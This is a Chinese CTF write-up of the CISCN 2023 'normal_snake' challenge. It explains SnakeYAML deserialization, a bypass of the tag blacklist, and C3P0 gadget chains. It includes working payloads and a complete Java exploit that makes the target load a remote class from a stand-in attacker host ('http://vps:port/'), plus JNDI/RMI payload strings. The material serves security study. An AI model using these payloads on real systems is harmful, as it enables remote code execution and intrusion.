前言
看标题就知道这次我要写什么,就是缝合怪。
除了Hessian这种独特的反序列化机制,以及AliyunChain17这种,很多java反序列化题目都是缝合。再加上搞心态的黑名单,缝合属性大爆发了属于是。
话不多说直接看题。
题目分析
这道题我在博客园发过一次分析,这里也就浅浅贴个链接CV几下偷个懒~~
[CISCN 2023 华北]-normal_snake - Eddie_Murphy - 博客园 (cnblogs.com)
/read路由下传参data,pyload不能包含!!,然后用了yaml来load传入的参数。
稍作了解,这其实就是 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!
。
前面的!!
是用于强制类型转化,强制转换为!!
后指定的类型,其实这个和Fastjson的@type
有着异曲同工之妙。用于指定反序列化的全类名。
但用tag头可以绕过:微信公众平台 (qq.com)
1 2 3
| !<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true !!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
|
或者这样:
1 2 3
| %TAG ! tag:yaml.org,2002: --- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
|
而 SafeConstructorWithException
中过滤了常见的 payload
关键字,HEX 编码部分禁用了 BadAttributeValueExpException
和 HotSwappableTargetSource
:
1 2 3 4 5 6 7 8 9 10
| private void checkForExceptions() throws RuntimeException, RuntimeException { String upperCaseData = this.data.toUpperCase(); if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) { if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) { throw new RuntimeException("No way to pass!"); } } else { throw new RuntimeException("Unsafe data detected!"); } }
|
看一下pom.xml:
给了c3p0依赖,估计是从这里入手:
在C3P0中有三种利用方式:
1 2 3
| http base JNDI HEX序列化字节加载器
|
在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。
抄一下:
2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)
C3P0 主要有以下利用链:
触发点 |
功效 |
适用性 |
JndiRefForwardingDataSource#setLoginTimeout – InitialContext#lookup |
Jndi 注入 |
fastjson/snakeyaml/jackson |
WrapperConnectionPoolDataSource#setUserOverridesAsString – ObjectInputStream#readObject |
Hex 解码后触发原生反序列化 |
fastjson/snakeyaml/jackson |
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject – IndirectlySerialized#getObject() – InitialContext#lookup |
Jndi 注入 |
Java原生反序列化 |
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject – IndirectlySerialized#getObject() – com.mchange.v2.naming.ReferenceableUtils#referenceToObject – URLClassLoader |
URLCLassLoader 远程类加载 |
Java原生反序列化 |
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject – IndirectlySerialized#getObject() – com.mchange.v2.naming.ReferenceableUtils#referenceToObject – BeanFactory#getInstance |
不出网的命令注入 |
Java原生反序列化不出网 |
在不考虑题目黑名单的情况下,这里浅浅了解了一下C3P0的几种打法:
JndiRefForwardingDataSource:Jndi 注入
没错,又是老常客了,JNDI注入。
1
| com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入
|
poc链:
1 2 3 4
| com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) -com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner() -com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference() -InitialContext#lookup()
|
而SnakeYaml 可以触发该 setter 方法:
1
| String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";
|
WrapperConnectionPoolDataSource:Hex 二次反序列化
1
| String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
|
为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子?
首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用:
WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类,而com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
在 snakeyaml 反序列化的时候会被调用:
1 2 3 4 5 6 7
| public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException { String oldVal = this.userOverridesAsString; if ( ! eqOrBothNull( oldVal, userOverridesAsString ) ) vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString ); this.userOverridesAsString = userOverridesAsString; }
|
经过一系列调用栈:
1 2 3 4 5 6
| java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue) -java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event) -java.beans.VetoableChangeListener#vetoableChange() -C3P0ImplUtils#parseUserOverridesAsString() -com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes) -com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)
|
C3P0ImplUtils#parseUserOverridesAsString
方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap
字符串然后进行hex解码为字节数组:
下一个栈调用com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)
处理字节数组调用原生反序列化:
1 2 3 4 5
| public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); }
|
如下:
1 2 3 4
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() -IndirectlySerialized#getObject() -com.mchange.v2.naming.ReferenceIndirector#getObject() -InitialContext#lookup()
|
com.mchange.v2.naming.ReferenceIndirector#getObject()
内部可以触发 JNDI 注入:
看到lookup基本就有谱了。
利用链可参考ysoserial:
1 2 3 4 5
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() -IndirectlySerialized#getObject() -com.mchange.v2.naming.ReferenceIndirector#getObject() -com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env) -URLClassLoader
|
对于最后一步com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用,
因此可以直接在静态块里面放入恶意数据进行RCE:
对于前面一个jndi也有的PoolBackedDataSourceBase,这里一并讲了。
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject():
红框中的 ois.readObject()
获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,
但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。
所以我们现在要看 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的。
从序列化角度来看:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()
中,
如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)
ReferenceIndirector.indirectForm
方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized
对象并返回:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); } ReferenceSerialized( Reference reference, Name name, Name contextName, Hashtable env ) { this.reference = reference; this.name = name; this.contextName = contextName; this.env = env; }
|
所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中。
ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化:
1 2
| WrapperConnectionPoolDataSource JndiRefConnectionPoolDataSource
|
那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类,也关系到这个题的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {
@Override public Reference getReference() throws NamingException { Reference reference = new Reference("evil","evil","http://vps:port/evil.jar"); return reference; }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
|
JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像。
关于JNDI高版本注入,这个我在之前的博客就分析了:绕过JDK高版本限制进行JNDI注入 - Eddie_Murphy - 博客园 (cnblogs.com)
EXP
言归正传,回到怎么打题目本身。
题目入口是 yaml.load,还给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化。
根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化:
1
| WrapperConnectionPoolDataSource#setUserOverridesAsString --> ObjectInputStream#readObject
|
然后再触发远程类加载或者jndi注入:
1 2 3
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> InitialContext#lookup or com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> com.mchange.v2.naming.ReferenceableUtils#referenceToObject --> URLClassLoader
|
借用原作者 URLClassLoader 远程加载类POC直接打了。
入口很显然在这个yaml.load,这里我使用的方法是C3P0的HEX序列化字节加载器,SnakeYaml就起到一个调用com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
的作用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| package com.snakeyaml;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import org.yaml.snakeyaml.Yaml;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class Exp { public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
@Override public Reference getReference() throws NamingException { return new Reference("evil","evil","http://vps:port/");
}
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { C3P0 c3P0=new C3P0(); PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false); Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource"); connectionPoolDataSource.setAccessible(true); connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0); String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase)); String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}"; System.out.println(poc);
} public static byte[] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(object); outputStream.close(); return byteArrayOutputStream.toByteArray(); }
public static void unserialize(byte[] s) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static String byteArrayToHexString(byte[] byteArray) { StringBuilder sb = new StringBuilder();
for (byte b : byteArray) { sb.append(String.format("%02X", b)); }
return sb.toString(); } }
|
payload记得URL编码:
环境变量拿下flag:
参考:
2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)
CTF-Java题记录 - 首页|Aiwin